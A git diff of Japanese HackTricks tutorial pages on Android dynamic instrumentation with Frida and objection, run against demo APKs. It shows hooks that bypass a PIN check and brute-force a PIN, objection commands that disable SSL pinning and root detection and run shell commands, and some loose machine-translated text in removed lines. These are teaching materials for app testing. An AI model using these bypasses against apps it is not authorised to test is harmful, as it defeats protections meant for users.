<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをチェックしましょう
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有**してください。
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -2,31 +2,33 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか?**HackTricksで会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加するか**、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのコツを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する
</details>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングのキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **採用中です!** (_流暢なポーランド語の読み書きと会話が必要です_).
**ハッキングキャリア**に興味がある方や **解読不能なものをハック** したい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_
{% embed url="https://www.stmcyber.com/careers" %}
**出典**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**この投稿の要約**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**ソースコード**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
## Python
Fridaを使用すると、実行中のアプリケーションの関数内に**JavaScriptコードを挿入**できます。しかし、**python**を使用して**フックを呼び出す**ことも、**フックと対話する**こともできます。
Frida は、実行中のアプリケーションの関数に **JavaScript コードを挿入** することができます。しかし、**python** を使用して **hooks を呼び出したり**、**hooks とやり取りしたり**することもできます。
れは、このチュートリアルで提案されているすべての例で使用できる簡単なpythonスクリプトです
の簡単な python スクリプトは、このチュートリアルで提案されているすべての例に使用できます:
```python
#hooking.py
import frida, sys
@ -39,17 +41,17 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
スクリプトを呼び出す
スクリプトを呼び出す:
```bash
python hooking.py <hookN.js>
```
Pythonを使ってFridaを操作する方法を知っておくと便利ですが、この例ではコマンドラインのFridaツールを直接呼び出すこともできます:
PythonをFridaと一緒に使う方法を知っていると便利ですが、この例ではコマンドラインのfridaツールを直接呼び出すこともできます。
```bash
frida -U --no-pause -l hookN.js -f infosecadventures.fridademo
```
## フック1 - ブールバイパス
## フック1 - ブールバイパス
ここでは、クラス _infosecadventures.fridademo.utils.PinUtil_ から **ブール** メソッド (_checkPin_) を**フック**する方法を見ることができます。
ここでは、クラス: _infosecadventures.fridademo.utils.PinUtil_ から **boolean** メソッド (_checkPin_) を **hook** する方法が示されています。
```javascript
//hook1.js
Java.perform(function() {
@ -65,14 +67,12 @@ return true;
```
python hooking.py hook1.js
```
注目関数はStringをパラメータとして受け取ります。オーバーロードは必要ありませんか
## フック2 - 関数ブルートフォース
### 非静的関数
クラスの非静的関数を呼び出したい場合、**まずそのクラスのインスタンスが必要**です。そのインスタンスを使用して関数を呼び出すことができます。\
れを行うには、**既存のインスタンスを見つけて**使用することができます:
クラスの非静的関数を呼び出したい場合、**まずそのクラスのインスタンス**が必要です。その後、そのインスタンスを使用して関数を呼び出すことができます。\
のためには、**既存のインスタンスを見つけて**使用することができます。
```javascript
Java.perform(function() {
console.log("[ * ] Starting PIN Brute-force, please wait...");
@ -90,11 +90,9 @@ onComplete: function() { }
});
});
```
この場合、インスタンスが存在せず、関数がStaticであるため、機能しません。
### 静的関数
### Static関数
関数がstaticである場合、単に呼び出すことができます
関数が静的である場合、それを単純に呼び出すことができます:
```javascript
//hook2.js
Java.perform(function () {
@ -111,7 +109,7 @@ console.log("[ + ] Found correct PIN: " + i);
```
## フック3 - 引数と戻り値の取得
関数をフックして、**渡された引数**と**戻り値**の値を**表示**させることができます:
関数をフックして、**渡された引数**と**戻り値**の値を**出力**することができます。
```javascript
//hook3.js
Java.perform(function() {
@ -129,26 +127,26 @@ return encrypted_ret;
```
## 重要
このチュートリアルでは、メソッドの名前と _.implementation_ を使用してメソッドをフックしました。しかし、同じ名前の**複数のメソッドがある場合**は、**引数のタイプを指定して**フックしたいメソッドを**指定する必要があります**。
このチュートリアルでは、メソッドの名前と`_.implementation_`を使用してフックした。しかし、同じ名前の**複数のメソッド**がある場合は、フックしたいメソッドを**引数のタイプを示して指定する必要がある**。
それは[次のチュートリアル](frida-tutorial-2.md)で確認できます
次のチュートリアルでそれを見ることができる
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングのキャリア**に興味があり、ハッカブルではないものをハックしたい方 - **採用情報!** (_流暢なポーランド語の読み書きが必要です_).
**ハッキングのキャリア**に興味がある方や、解読不能なものをハックしたい方 - **採用中です!**_流暢なポーランド語の読み書きが必要です_
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksに会社の広告を掲載**したいですか?または、**最新版のPEASSを入手**したり、**HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください。
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのコツを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) と [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) にPRを提出してください。**
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
</details>

View file

@ -7,8 +7,8 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または、**PEASS の最新バージョンを入手したり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* [**公式 PEASS & HackTricks スウェグ**](https://peass.creator-spring.com) を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください**
* **ハッキングトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローしてください**
* **ハッキングテクニックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) と [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください
</details>
@ -18,15 +18,17 @@
{% embed url="https://www.stmcyber.com/careers" %}
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/)パート 2、3、4\
**APK およびソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**この記事の要約**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/)Part 2、3、4\
**APK ソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
パート 1 は非常に簡単です。
Part 1 は非常に簡単です。
## パート 2
**オリジナルコードの一部が機能しないため、ここで修正されています。**
ここでは、**同じ名前の関数をフックする例**と、異なるパラメータを持つ関数をフックする方法を示します。\
また、**独自のパラメータで関数を呼び出す方法**を学びます。\
## Part 2
ここでは、**同じ名前の関数をフックする例**と、異なるパラメータを持つ関数をフックする方法を見ることができます。\
また、**独自のパラメータで関数を呼び出す方法**を学ぶことができます。\
最後に、**クラスのインスタンスを見つけ、その関数を呼び出す方法**の例があります。
```javascript
//s2.js
@ -122,7 +124,7 @@ script.exports.hooksecretfunction()
```
コマンド "**1**" は**終了**します、コマンド "**2**" は**クラスのインスタンスを見つけてプライベート関数** _**secret()**_ **を呼び出し**、コマンド "**3**" は関数 _**secret()**_ を**フック**して**異なる文字列**を**返す**ようにします。
したがって、"**2**" を呼び出すと**実際の秘密**が表示されますが、"**3**" を呼び出してから "**2**" を呼び出すと**偽の秘密**が表示されます。
その後、"**2**" を呼び出すと**実際の秘密**が表示されますが、"**3**" を呼び出してから "**2**" を呼び出すと**偽の秘密**が表示されます。
### JS
```javascript
@ -218,7 +220,7 @@ return this.setText(string_to_recv);
}
});
```
部分5は新しい情報がないため、説明はしませんが、読みたい場合はこちらから: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
Part 5の説明は新しい情報がないため説明しませんが、読みたい場合はこちらから: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
@ -235,7 +237,7 @@ return this.setText(string_to_recv);
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新版のPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details>

View file

@ -2,43 +2,43 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してください。
</details>
<img src="../../../.gitbook/assets/i3.png" alt="" data-size="original">
**バグバウンティのヒント****Intigritiに登録**してください。ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
**バグバウンティのヒント**: **Intigriti にサインアップ**してください。これは、ハッカーによって作成されたプレミアム **バグバウンティプラットフォーム**です!今すぐ [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) に参加して、最大 **$100,000** のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
## **はじめに**
[![objection](https://github.com/sensepost/objection/raw/master/images/objection.png)](https://github.com/sensepost/objection)
**objection - ランタイムモバイルエクスプロレーション**
`objection`は、[Frida](https://www.frida.re)を搭載したランタイムモバイルエクスプロレーションツールキットです。このツールは、脱獄またはルート化されたモバイルデバイスの必要性なしに、モバイルアプリケーションとそのセキュリティポストを評価するのに役立つことを目的として構築されました。
**[Objection](https://github.com/sensepost/objection)** は、[Frida](https://www.frida.re) によって動作するランタイムモバイルエクスプロレーションツールキットです。このツールは、脱獄またはルート化されたモバイルデバイスの必要性なしに、モバイルアプリケーションとそのセキュリティポジションを評価するのを支援することを目的として構築されました。
**注意**これはある種のジェイルブレイク/ルートバイパスではありません。`objection`を使用することで、対象となるサンドボックスによって課される制限に制約されます。
**注意:** これはある種のジェイルブレイク/ルートバイパスではありません。`objection` を使用することで、対面している適用されるサンドボックスによって課せられるすべての制限に制約されます。
### 再開
**objection**の目標は、ユーザーが**Fridaが提供する主要なアクションを呼び出すこと**です。**そうでない場合**、テストしたい**各アプリケーションごとに単一のスクリプトを作成する必要があります**。
**objection** の目標は、ユーザーが **Frida が提供する主要なアクションを呼び出すこと** です。**そうでない場合**、ユーザーは **テストしたい各アプリケーションごとに単一のスクリプトを作成する必要があります**
## チュートリアル
このチュートリアルでは、ここからダウンロードできるAPKを使用します
このチュートリアルでは、こちらからダウンロードできる APK を使用します:
{% file src="../../../.gitbook/assets/app-release.zip" %}
または、[元のリポジトリ](https://github.com/asvid/FridaApp)からダウンロードしてくださいapp-release.apkをダウンロード
または、[元のリポジトリ](https://github.com/asvid/FridaApp) からダウンロードできますapp-release.apk をダウンロード)。
### インストール
```bash
@ -46,39 +46,26 @@ pip3 install objection
```
### 接続
通常のADB接続を作成し、デバイスで**frida**サーバーを**起動**しますクライアントとサーバーの両方でfridaが動作していることを確認します
**通常のADB接続**を作成し、デバイスで**frida**サーバーを**起動**しますクライアントとサーバーの両方でfridaが動作していることを確認します
**ルート化されたデバイス**を使用している場合、テストしたいアプリケーションを_**--gadget**_オプションで選択する必要があります。この場合は、以下のようになります:
**root化されたデバイス**を使用している場合、テストしたいアプリケーションを_**--gadget**_オプションで選択する必要があります。この場合は次のようにします:
```bash
frida-ps -Uai
objection --gadget asvid.github.io.fridaapp explore
```
### 基本的なアクション
このチュートリアルでは、objectionの可能なすべてのコマンドをリストアップするわけではありません。代わりに、私がより有用と考えるものだけを紹介します。
このチュートリアルでは、objectionのすべての可能なコマンドがリストされるわけではありません。代わりに、より便利だと思われるもののみがリストされます。
#### 環境
環境内には、パスワードやパスなどの興味深い情報が含まれている場合があります。
環境内には、パスワードやパスなどの興味深い情報が含まれている可能性があります。
```bash
env
```
![](<../../../.gitbook/assets/image (64).png>)
#### Fridaの情報
Frida is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. It allows you to inject JavaScript code into native apps on Windows, macOS, Linux, iOS, and Android. With Frida, you can dynamically analyze and modify the behavior of an app at runtime.
Frida provides a high-level API that simplifies the process of injecting code into an app. It also includes a command-line tool called `frida-cli` that allows you to interact with Frida from the command line.
Frida can be used for various purposes, including:
- Dynamic analysis: Frida allows you to inspect and modify the runtime behavior of an app, making it useful for tasks such as debugging, tracing function calls, and monitoring network traffic.
- Code injection: Frida enables you to inject custom JavaScript code into an app, allowing you to hook functions, intercept method calls, and modify data on the fly.
- Exploit development: Frida can be used to aid in the development of exploits by providing a powerful platform for analyzing and manipulating the runtime environment of an app.
- Reverse engineering: Frida helps in reverse engineering by allowing you to trace and analyze the execution flow of an app, inspecting memory, and identifying vulnerabilities.
Frida supports both iOS and Android platforms, making it a versatile tool for mobile app pentesting. In this tutorial, we will focus on using Frida for Android app pentesting.
Fridaは、動的なインストルメントツールキットであり、アプリケーションのランタイム動作を監視、操作するために使用されます。 Fridaは、JavaScriptを使用してアプリケーションのランタイムにアクセスし、様々なセキュリティテストやペネトレーションテストに役立ちます。Fridaは、iOS、Android、Windows、macOSなど、さまざまなプラットフォームで使用できます。
```bash
frida
```
@ -90,116 +77,19 @@ file download <remote path> [<local path>]
file upload <local path> [<remote path>]
```
#### Fridaスクリプトのインポート
```javascript
const { spawn } = require('child_process');
const fridaScriptPath = '/path/to/frida_script.js';
// Spawn the frida command with the script
const fridaProcess = spawn('frida', ['-U', '-f', 'com.example.app', '-l', fridaScriptPath]);
// Handle frida process events
fridaProcess.stdout.on('data', (data) => {
console.log(`[Frida Process] ${data}`);
});
fridaProcess.stderr.on('data', (data) => {
console.error(`[Frida Process Error] ${data}`);
});
fridaProcess.on('close', (code) => {
console.log(`[Frida Process Closed] Exit code: ${code}`);
});
```
Fridaスクリプトをインポートするために、上記のコードを使用します。`fridaScriptPath`には、Fridaスクリプトのパスを指定します。`com.example.app`は、対象のAndroidアプリのパッケージ名です。
このコードでは、`spawn`関数を使用してfridaコマンドを実行し、Fridaスクリプトを指定しています。`fridaProcess`は、Fridaプロセスを表すオブジェクトです。
Fridaプロセスのイベントを処理するために、`stdout`、`stderr`、`close`イベントのリスナーを設定しています。`stdout`イベントでは、標準出力に出力されたデータを表示します。`stderr`イベントでは、エラーメッセージを表示します。`close`イベントでは、Fridaプロセスの終了コードを表示します。
```bash
import <local path frida-script>
```
#### SSLピニング
SSLPinningは、Androidアプリのセキュリティ機能の1つであり、通信のセキュリティを強化するために使用されます。通常、アプリはSSL証明書の検証を行い、信頼できる証明書局CAによって署名された証明書を使用して通信を暗号化します。しかし、攻撃者が中間者攻撃を行い、通信を傍受しようとする場合、SSLピニングは攻撃を防ぐために役立ちます。
SSLピニングをバイパスするためには、FridaとObjectionを使用することができます。Objectionは、Fridaフレームワークを使用してアプリのランタイムを操作するためのツールです。以下の手順に従って、Objectionを使用してSSLピニングをバイパスする方法を学びましょう。
1. Objectionをインストールします。
```
$ pip install objection
```
2. Objectionを起動します。
```
$ objection
```
3. デバイスに接続します。
```
android connect <device_id>
```
4. アプリのパッケージ名を指定してアプリを起動します。
```
android hooking start --package <package_name>
```
5. SSLピニングをバイパスするためのフックを追加します。
```
android sslpinning bypass
```
これで、Objectionを使用してSSLピニングをバイパスする準備が整いました。これにより、アプリが信頼できる証明書のみを使用する必要がなくなり、中間者攻撃を防ぐことができます。ただし、これはセキュリティ上のリスクを伴うため、慎重に使用する必要があります。
```bash
android sslpinning disable #Attempts to disable SSL Pinning on Android devices.
```
#### ルート検出
Root検出は、Androidアプリがルート化されたデバイス上で実行されているかどうかを検出するための技術です。ルート化されたデバイスでは、アプリが通常よりも高い特権を持つことができ、セキュリティ上のリスクが増加します。アプリ開発者は、ルート化されたデバイス上でアプリが実行されることを防ぐために、ルート検出を実装することがあります。
ルート検出はさまざまな方法で実装することができます。一般的な方法には、ファイルの存在、システムプロパティの値、特定のコマンドの実行結果などをチェックする方法があります。アプリがこれらのチェックに合格しない場合、ルート化されたデバイス上で実行されている可能性が高いと判断されます。
ルート検出を回避するためには、フリーダやObjectionなどのツールを使用して、ルート検出に関連するコードやチェックをバイパスすることができます。これにより、ルート化されたデバイス上でアプリを実行することができますが、セキュリティ上のリスクが増加するため、慎重に使用する必要があります。
以下のコマンドを使用して、Objectionを使用したルート検出のバイパスを実行することができます。
```shell
$ objection android patchapk --source /path/to/app.apk --template /path/to/template.apk
```
このコマンドは、指定したAPKファイルのルート検出をバイパスするために、Objectionを使用してパッチを適用します。パッチされたAPKファイルは、ルート検出を回避して実行することができます。
ルート検出は、アプリのセキュリティを向上させるために重要な手法ですが、ハッカーはこれを回避するための手法を持っているため、単一のセキュリティ対策としては十分ではありません。アプリのセキュリティを確保するためには、ルート検出以外のセキュリティ対策も併用する必要があります。
```bash
android root disable #Attempts to disable root detection on Android devices.
android root simulate #Attempts to simulate a rooted Android environment.
```
#### Execコマンド
The `exec` command in objection allows you to execute arbitrary shell commands on the target Android device. This can be useful for various purposes, such as exploring the device's file system, running custom scripts, or interacting with other installed applications.
To use the `exec` command, you need to specify the command you want to execute as an argument. For example, to list the files in the current directory, you can use the following command:
```
objection> exec ls
```
You can also pass additional arguments to the command by enclosing them in quotes. For example, to list all files in a specific directory, you can use the following command:
```
objection> exec ls "/sdcard"
```
Keep in mind that the `exec` command runs the specified shell command as the user running the target application. Therefore, the command's permissions and access to files will be limited to what the application can do.
It's important to use the `exec` command responsibly and avoid executing malicious commands that could harm the target device or violate any laws or regulations. Always ensure that you have proper authorization and legal permission before performing any actions on a target device.
#### 実行コマンド
```bash
android shell_exec whoami
```
@ -210,80 +100,82 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
```
### 静的解析を動的に行う
実際のアプリケーションでは、**静的解析**によってこの部分で発見された情報をすべて把握してから、objectionを使用する必要があります。とはいえ、ここではクラス、メソッド、およびエクスポートされたオブジェクトの完全なリストしか得られませんので、**新しい情報**が見つかるかもしれません。
実際のアプリケーションでは、**静的解析**に感謝してobjectionを使用する前に、この部分で発見されたすべての情報を知っておく必要があります。とにかく、ここではクラス、メソッド、エクスポートされたオブジェクトの完全なリストしかありませんが、**新しい情報**が見つかるかもしれません。
また、アプリの**読みやすいソースコードを入手できない**場合にも役立ちます。
これはまた、アプリの**いくつかの読みやすいソースコードを取得できない**場合に役立ちます。
#### アクティビティ、レシーバ、およびサービスのリストを表示する
```
#### アクティビティ、レシーバ、およびサービスのリスト
```bash
android hooking list activities
```
![](<../../../.gitbook/assets/image (78).png>)
```
```bash
android hooking list services
android hooking list receivers
```
Fridaは、見つからない場合にエラーを発生させます。
#### 現在のアクティビティの取得
#### 現在のアクティビティを取得する
```
